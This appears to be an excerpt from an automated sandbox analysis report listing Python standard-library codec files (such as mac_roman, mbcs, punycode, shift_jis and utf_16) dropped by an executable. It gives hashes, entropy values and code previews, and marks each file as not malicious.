SHA-512:	2924BFF1C570128D57711F91CE1A87B5D156A24144FA3FEBDDDF6C9BB7B82570FB1F9B9FB1C5D23CD9625BF5568F42B718DB3A432F35B47DFF9E72FAE199EA56
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_roman generated from 'MAPPINGS/VENDORS/APPLE/ROMAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-roman',.. e

C:\recover\pw\Lib\encodings\mac_romanian.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13968
Entropy (8bit):	4.599704767840293
Encrypted:	false
SSDEEP:	192:FqHhsuOTDvR+7ZpouhIAs2+iy2w4kyYpDgKPeqBaj5:FHTvuhIAl+4cqFaI
MD5:	425337635E74A8B98CD770F43848AF18
SHA1:	C0F5A92D564177C49E76471117E4B521FD52DF17
SHA-256:	1DE13F2703A62479C4312F9A39514C7691CF7F737958B3915AF395A53A596183
SHA-512:	853EC8BEB168F69C36AEA83AE221AEADE920DD293928B6F9F61F8938955DF3C709169424D93F49EE05CE2C1AD487CE925808CB136CA91C5022BAD6404008AF6A
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_romanian generated from 'MAPPINGS/VENDORS/APPLE/ROMANIAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-romanian',..

C:\recover\pw\Lib\encodings\mac_turkish.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13820
Entropy (8bit):	4.579994522132136
Encrypted:	false
SSDEEP:	192:yHhsuOTDvRT7ZpouhIAs2+iy2w4KY2gKPeqB9NGc:/TquhIAl+43LFal
MD5:	1C214A3F28D2D23CC7FDED7A387585A0
SHA1:	B40E5DA5FD44499B161BD2649A6258C9A968D5D5
SHA-256:	E7F9E6C9F92513C69754AEF1D7AB235B09E9EEADBBCED4C86DF6E2AA2D06A1EF
SHA-512:	58C6B56938D709AFC4E756C2F0CC40812724B963B118CE5E1CA84798DFD17F9E324AC8F5B68FA84FE883E91CBEA8E7FC4BBE32EAE175F1B55072FAAFA7F7397A
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_turkish generated from 'MAPPINGS/VENDORS/APPLE/TURKISH.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-turkish',..

C:\recover\pw\Lib\encodings\mbcs.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	4.753222127608113
Encrypted:	false
SSDEEP:	24:JwEFOXxVaniSdZSHvcGWQvnNq1I5atMufnb+s0ktzE9ZKj94JxFplR:JwEWxVaniSvIvdvNq1I5aCuzbztzETK2
MD5:	0D4DEB48618561417DDE714ACF399AA3
SHA1:	F617D8FC1B17AEC713947CDEE9BA302B4B2E71B1
SHA-256:	B00887A6D93C97D320CBB1C3379BD7C6DE767CCFC34ED13442891E06CC62F148
SHA-512:	722C9182DEAF8A8A65550EF86F967A559105BE6EB61C9FB3244521D51649B8A2B901E911A28FBB0CC42F1E680ACD0FC64B475E53DEE921287010EE112D982630
Malicious:	false
Preview:	""" Python 'mbcs' Codec for Windows......Cloned by Mark Hammond (mhammond@skippinet.com.au) from ascii.py,..which was written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..# Import them explicitly to cause an ImportError..# on non-Windows systems..from codecs import mbcs_encode, mbcs_decode..# for IncrementalDecoder, IncrementalEncoder, .....import codecs....### Codec APIs....encode = mbcs_encode....def decode(input, errors='strict'):.. return mbcs_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return mbcs_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = mbcs_decode....class StreamWriter(codecs.StreamWriter):.. encode = mbcs_encode....class StreamReader(codecs.StreamReader):.. decode = mbcs_decode....### encodings module API....def getregentry():.. return codecs

C:\recover\pw\Lib\encodings\oem.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	4.538507695911449
Encrypted:	false
SSDEEP:	24:JkZSHvcGW6pjvneEq1IhhatMufko3b+00kwWzu9ZKj9wJxFplR:JSIvvBvPq1IhhaCu8M1zPzuTKiJxTz
MD5:	5163EF7B87B6DEE11BC7914E2AB1FF8E
SHA1:	92EB877FD4F77A40FC6745717139D4E335670613
SHA-256:	991D1FD2F4B815943EAE7F7BFA9F87E2DE980ACB08932BEA3258FB034902A15F
SHA-512:	99458C11DB86287A818176588DEBD76AD18401557B7D49F01FCFA85C917947CDADC310DEF539434824997922CB24005853751920EAE103B0DB04A83AB3A49E46
Malicious:	false
Preview:	""" Python 'oem' Codec for Windows...."""..# Import them explicitly to cause an ImportError..# on non-Windows systems..from codecs import oem_encode, oem_decode..# for IncrementalDecoder, IncrementalEncoder, .....import codecs....### Codec APIs....encode = oem_encode....def decode(input, errors='strict'):.. return oem_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return oem_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = oem_decode....class StreamWriter(codecs.StreamWriter):.. encode = oem_encode....class StreamReader(codecs.StreamReader):.. decode = oem_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='oem',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreade

C:\recover\pw\Lib\encodings\palmos.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13827
Entropy (8bit):	4.583791210166393
Encrypted:	false
SSDEEP:	192:7hsuOTDvR1UrXPLouhIAs2+iXIcDCYBZt6CJTd12:mTDuhIAlX9Zt680
MD5:	3D512E1AB4D97E95DCEE526F991E685F
SHA1:	0349C9649CC54002699DD48E80DA09DDC21F9432
SHA-256:	C9E5D71C1FA128602E2D10E9BED0B271132DF349290F4465CFCA9D5DAA5BA86C
SHA-512:	DB6CE7BF928D829175D54328A6A37F1A8B691B04CEF1C76CE0C98B6B2C21959DF7BCA822416BFF39C2530E93F8B15CCB55E480FD1187C6258734923A10CF9878
Malicious:	false
Preview:	""" Python Character Mapping Codec for PalmOS 3.5.....Written by Sjoerd Mullender (sjoerd@acm.org); based on iso8859_15.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.. def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='palmos',..

C:\recover\pw\Lib\encodings\ptcp154.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14327
Entropy (8bit):	4.653952382312946
Encrypted:	false
SSDEEP:	192:63hsuOTDvRmUrXPLouhIAs2+iRQCzJHDCYbtlqtEDp+/:ZTsuhIAlXzJHftlqtEo/
MD5:	6EE7970BA64A9E17B3246A28C7CECD28
SHA1:	6B56118465C3E53A7E6C0BECE694E3643B485FC0
SHA-256:	F3BDA3C1415D37DD1C314E3F474529913F36F7021279D82DED0D11154EED55F2
SHA-512:	FAA196E1B4CCEEB771F9EC19E528696B35EAD5AC6CF1EF53DA092F75DB701FB59DBBA7FACEF3F169BC4D6DBF9336D250E0F4B9DFEE9EF2DCAD32C0FAD31C8A93
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'PTCP154.txt' with gencodec.py.....Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY...(c) Copyright 2000 Guido van Rossum....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass..

C:\recover\pw\Lib\encodings\punycode.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7120
Entropy (8bit):	4.519199483696464
Encrypted:	false
SSDEEP:	192:l3Dt9EqNFDPf3rBEX2M+4lCQ57+K6AWujvRI3:lRSO/SLV5SZ
MD5:	DB14BE3F7A2ADCBCC07E2A32AD0A7198
SHA1:	A4F5C43558E47C3F89EB807FEFB2F49119D51B75
SHA-256:	823D1424AFA9508EA425F667F787567C80A6A28AE9742C66AA90A829ACC19748
SHA-512:	5D572DF2302FF9F74BB4E5F884F8057CDEDFB7BC6C53E82809627BD982104CB42A595B3001C8B65E5C087E94CBEDBC088951ED0EBF0D3AE3C4D88823F3C89BA6
Malicious:	false
Preview:	""" Codec for the Punicode encoding, as specified in RFC 3492....Written by Martin v. L.wis..."""....import codecs....##################### Encoding #####################################....def segregate(str):.. """3.1 Basic code point segregation""".. base = bytearray().. extended = set().. for c in str:.. if ord(c) < 128:.. base.append(ord(c)).. else:.. extended.add(c).. extended = sorted(extended).. return bytes(base), extended....def selective_len(str, max):.. """Return the length of str, considering only characters below max.""".. res = 0.. for c in str:.. if ord(c) < max:.. res += 1.. return res....def selective_find(str, char, index, pos):.. """Return a pair (index, pos), indicating the next occurrence of.. char in str. index is the position of the character considering.. only ordinals up to and including char, and pos is the position in.. the full string. index/pos is the starting p

C:\recover\pw\Lib\encodings\quopri_codec.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1581
Entropy (8bit):	4.656023184812778
Encrypted:	false
SSDEEP:	48:5UeC1AIc1eq1AIrZ1+A1+0uwY+vIvBTKXgCJxHjH:5Uj7c1P7rZdBu6AJTKVrH
MD5:	096A80038FB883522A68E9E6C434C6A6
SHA1:	3FAFAD17359B000B8A417446E15D69EEE44A10B2
SHA-256:	4BF9A405B6F2359E5B931E0D9FB9BD9609B013688CE2E58AEBBD9BFCB119A356
SHA-512:	8088AE700A1C85C55BA10FE47EEC68193497DDC5145069C48D258604273F284F46A42D5F83D43D826A2C11CB1E71692A0D4D15005D63800F072DD883BA7890BB
Malicious:	false
Preview:	"""Codec for quoted-printable encoding.....This codec de/encodes from bytes to bytes..."""....import codecs..import quopri..from io import BytesIO....def quopri_encode(input, errors='strict'):.. assert errors == 'strict'.. f = BytesIO(input).. g = BytesIO().. quopri.encode(f, g, quotetabs=True).. return (g.getvalue(), len(input))....def quopri_decode(input, errors='strict'):.. assert errors == 'strict'.. f = BytesIO(input).. g = BytesIO().. quopri.decode(f, g).. return (g.getvalue(), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return quopri_encode(input, errors).. def decode(self, input, errors='strict'):.. return quopri_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return quopri_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):..

C:\recover\pw\Lib\encodings\raw_unicode_escape.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	4.688171660474759
Encrypted:	false
SSDEEP:	24:JKmSEHV0yWfBx1yWfB8MufQfBxCb+nh5fBiiUQWSJzWSmi1GfBX9ZKj9UnQJxlTt:JVST31u0WMp6SJ6SL1CBTKanQJxHf
MD5:	7B4C09E92D59EF6722DFCB9C79B792A7
SHA1:	F413714763D5BC134CE873FEB69A4D79735C381B
SHA-256:	2CC24FFC2D06CAB80423ADA94E3DFFC02C010346E17EFC2FFFE86825A6E07808
SHA-512:	9584CF7FDC438C9E1D00CA3387A3F8AF103B3DDB41A65768131ACC5F3E7D40AF180D1991EF613451B2736E20D963BD2EC08F48106C15146134C8A42BB6A64D3A
Malicious:	false
Preview:	""" Python 'raw-unicode-escape' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.raw_unicode_escape_encode.. decode = codecs.raw_unicode_escape_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.raw_unicode_escape_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. def _buffer_decode(self, input, errors, final):.. return codecs.raw_unicode_escape_decode(input, errors, final)....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. def decode(self, input, errors='strict'):.. return codecs.raw_unicode_escape_dec

C:\recover\pw\Lib\encodings\rot_13.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2561
Entropy (8bit):	4.800734764439435
Encrypted:	false
SSDEEP:	48:7Hk1rNJm1rNJbuvNJTNJi6SJ6S0TK/JxHjRohn3xrUAosYDYKQyaDl:7EvJmvJbu1JRJivCTK/rSh1U8eSyol
MD5:	15F4EDEE2C94C2FB2F07435332C7A25A
SHA1:	D110DE2410DE8170389F26082E79C33EA643C991
SHA-256:	DC6052650356095A92A8CB3A6C63300B7F51A63B6CD3B6F636350B5F22CDA32A
SHA-512:	B9A21BB0C6AF53193088CAAF45FD94AAC472FD87927281198D88E70DE07F5D938CCAE2D081D737DEA9C6D11ACB53DCF1E2E855B464DA9871B99D522692492EBD
Malicious:	false
Preview:	#!/usr/bin/env python..""" Python Character Mapping Codec for ROT13.....This codec de/encodes from str to str.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs....### Codec APIs....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return (str.translate(input, rot13_map), len(input)).... def decode(self, input, errors='strict'):.. return (str.translate(input, rot13_map), len(input))....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return str.translate(input, rot13_map)....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return str.translate(input, rot13_map)....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='rot-13',.. encode=Codec().encod

C:\recover\pw\Lib\encodings\shift_jis.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	4.563549974626686
Encrypted:	false
SSDEEP:	24:n5SqSOzff/XokKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9RcJxFplR:5Sqfwm62VJjRU8njOxLnrxLbrLKUJxTz
MD5:	9C02A2E9711192F5738426F6E7285B5C
SHA1:	6AF9532F9C07B806DBA9D248A17E14B3EE637B1C
SHA-256:	195C87BF032904002D5ADB51C256AE14D99F4A69FFC15C989CA34DD51FC203D7
SHA-512:	3607DA04E5A83C27B8F6F3223872BF7957B58EA8326E19ECEB6A5836DD4E35B1A27CF43BBB4250E0CF0B931BB4BBEF6290FB6D30BEF407CC8C137277DBEB85D2
Malicious:	false
Preview:	#..# shift_jis.py: Python Unicode Codec for SHIFT_JIS..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('shift_jis')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='shift_jis',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

C:\recover\pw\Lib\encodings\shift_jis_2004.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.636186915032078
Encrypted:	false
SSDEEP:	24:njqMsOzff/XoRKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ocJxFplR:jqkwF62VJjRU8njOxLnrxLbrLKHJxTz
MD5:	0440951B33F486E65DB5176D5CF99851
SHA1:	D6269777856EC9BB88F7A0413A55EBCCE3BFBE17
SHA-256:	B806ADF317A9920E69A1DEB14C7F078F0D5A9BD26BD370C89492F4DD296AA52A
SHA-512:	A92FF2A9EB64C6E42E4CB808823E1B88CD760EC83EAB27BDAAB974152FB2B8DDC2288F800BE85A622F79304DADFD7E96DDEF86FED3434B73CC53967F873BBCEA
Malicious:	false
Preview:	#..# shift_jis_2004.py: Python Unicode Codec for SHIFT_JIS_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('shift_jis_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='shift_jis_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=In

C:\recover\pw\Lib\encodings\shift_jisx0213.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.656971526890629
Encrypted:	false
SSDEEP:	24:nAqqOzff/Xo2KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9PcJxFplR:AqHw462VJjRU8njOxLnrxLbrLKCJxTz
MD5:	CBAB0DA456CE49672F8A5CDB79018312
SHA1:	A682827169185DA5BBA2B498BF0302B2EAE087A7
SHA-256:	16BE3CDC9EFA7C3A6EC5A683BC03BCAA9DBB41FCC70C92900130175A761A9D62
SHA-512:	EFE6CF1021E7FEEF474A3C0E0B346515410716DA6536488765803F2DBD1DA2A217F23F64484634C8EDDC149086F1AD82D563EB9A7C6319976FB852747CCCCF9D
Malicious:	false
Preview:	#..# shift_jisx0213.py: Python Unicode Codec for SHIFT_JISX0213..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('shift_jisx0213')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='shift_jisx0213',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=In

C:\recover\pw\Lib\encodings\tis_620.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12607
Entropy (8bit):	4.621772981576072
Encrypted:	false
SSDEEP:	192:WHhsuOTDvR2LUrXPLouhIAs2+ijLf00pC8i5I:zTojuhIAl0H8iG
MD5:	D9690A0F4A8779777A17C8E04C5EA6FF
SHA1:	F10E74D2FDC0BE0582B97094F50BF4A38320C6FA
SHA-256:	18AFE3A0FD28797D71762EAFFADC9822E0CB8832BE696AF2298F6727AB92627F
SHA-512:	48AEBA9D13106BECC3305F42FB4C0A9B9D3A5663C807C7B42FAC579229D9FD43E2F15BBE3AA9DB6C19216334F296D584308BB12D93C4D998D0AF607ABB621BAA
Malicious:	false
Preview:	""" Python Character Mapping Codec tis_620 generated from 'python-mappings/TIS-620.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='tis-620',.. encode=Cod

C:\recover\pw\Lib\encodings\undefined.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1348
Entropy (8bit):	4.667992147176458
Encrypted:	false
SSDEEP:	24:JldJcg5qSEH6e1cUe2e1cUeFMufKUeFhKUemUQWSJzWS09ZKj9EmIcJxlTpf:JldJ9ISo1ner1neKuhe5em6SJ6S0TK2M
MD5:	7C6EF4AB65DA0214127F4E70CB74D180
SHA1:	01D2D4FAE5C7C55DDD33CE3D5DB95BC56EA68E03
SHA-256:	E882AD26197F05AFB20980407787F77D18E234F562E6EC396B7D9DF3C7EEF5FC
SHA-512:	2DEC757B249BEC760DA00B5269D51C2F7ADEF574FD68A188B64304EB1B7974C84E0B4AB89A138764203D89231DFE76AA4784C466B384655B26D510FA58522E7E
Malicious:	false
Preview:	""" Python 'undefined' Codec.... This codec will always raise a ValueError exception when being.. used. It is intended for use by the site.py file to switch off.. automatic string to Unicode coercion.....Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. raise UnicodeError("undefined encoding").... def decode(self,input,errors='strict'):.. raise UnicodeError("undefined encoding")....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. raise UnicodeError("undefined encoding")....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. raise UnicodeError("undefined encoding")....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass

C:\recover\pw\Lib\encodings\unicode_escape.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1350
Entropy (8bit):	4.660145850496412
Encrypted:	false
SSDEEP:	24:JDmSEHV0yWcBx1yWcB8MufQcBxCb+nh5cBiiUQWSJzWSmi1GcBX9ZKj9jQJxlTpf:JaSAE1uzWbp6SJ6SL1tBTKpQJxHf
MD5:	C939A021963EDD01807CDF57B08163D7
SHA1:	5549D399865582B0A802D950E8B3B7FA4474D726
SHA-256:	1D1372CF4F46E2F99820070B78563BD3EEED60FFC43A932B483CC7918F3DA5E9
SHA-512:	8BF2450C2A44B4ED7B9E901C425AD7BA114E9B946E69FF0DB36644DBD82BF85266EB487C373179F50DB983CE0A51A03E52F43539F92DBC9BF69D39F5DBAE7753
Malicious:	false
Preview:	""" Python 'unicode-escape' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.unicode_escape_encode.. decode = codecs.unicode_escape_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.unicode_escape_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. def _buffer_decode(self, input, errors, final):.. return codecs.unicode_escape_decode(input, errors, final)....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. def decode(self, input, errors='strict'):.. return codecs.unicode_escape_decode(input, errors, False

C:\recover\pw\Lib\encodings\utf_16.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5391
Entropy (8bit):	4.3113332789517
Encrypted:	false
SSDEEP:	96:JgcgiEqCubuY5lRlE2GRCGEFdIXv5lLoQyLt6ofvBUpzdft0iL7+9WiV9lkip8IB:aruCouolRaRCRIhlL7yLt7vYfLL72blt
MD5:	2867E58C229EB66CE2FC8704F1E380D2
SHA1:	57CB01EF3A3CD16BCCB814C86A3B6DABC379B7C4
SHA-256:	FD85A9D634B6F3868D6777E2B0367643571B3E61111B87C79F65DF3F57C7ACB3
SHA-512:	7E08E1F9FFCF68123DA6B5B531ED0040AE652FC00DCCEAFCD2B4AF121CA627ECF7A4F9DC6AEB44EF8C040414F27BB3AC0B31FAB030A7BB6D5C2491CA5161CC12
Malicious:	false
Preview:	""" Python 'utf-16' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs, sys....### Codec APIs....encode = codecs.utf_16_encode....def decode(input, errors='strict'):.. return codecs.utf_16_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. codecs.IncrementalEncoder.__init__(self, errors).. self.encoder = None.... def encode(self, input, final=False):.. if self.encoder is None:.. result = codecs.utf_16_encode(input, self.errors)[0].. if sys.byteorder == 'little':.. self.encoder = codecs.utf_16_le_encode.. else:.. self.encoder = codecs.utf_16_be_encode.. return result.. return self.encoder(input, self.errors)[0].... def reset(self):.. codecs.IncrementalEncoder.reset(self).. self.encoder = None.... de

C:\recover\pw\Lib\encodings\utf_16_be.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.776020747108792
